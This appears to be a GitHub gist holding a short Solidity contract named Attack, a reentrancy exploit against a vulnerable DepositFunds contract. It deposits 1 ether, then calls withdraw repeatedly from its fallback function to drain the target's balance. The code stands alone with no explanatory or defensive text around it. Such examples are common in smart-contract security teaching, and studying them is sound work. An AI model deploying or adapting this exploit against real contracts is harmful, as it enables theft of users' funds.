Created
December 28, 2022 05:31
-
-
Save huantt/48c0993386fd0d16a047a2e0e88a9d84 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract Attack { | |
| DepositFunds public depositFunds; | |
| constructor(address _depositFundsAddress) { | |
| depositFunds = DepositFunds(_depositFundsAddress); | |
| } | |
| // Fallback is called when DepositFunds sends Ether to this contract. | |
| fallback() external payable { | |
| if (address(depositFunds).balance >= 1 ether) { | |
| depositFunds.withdraw(); | |
| } | |
| } | |
| function attack() external payable { | |
| require(msg.value >= 1 ether); | |
| depositFunds.deposit{value: 1 ether}(); | |
| depositFunds.withdraw(); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment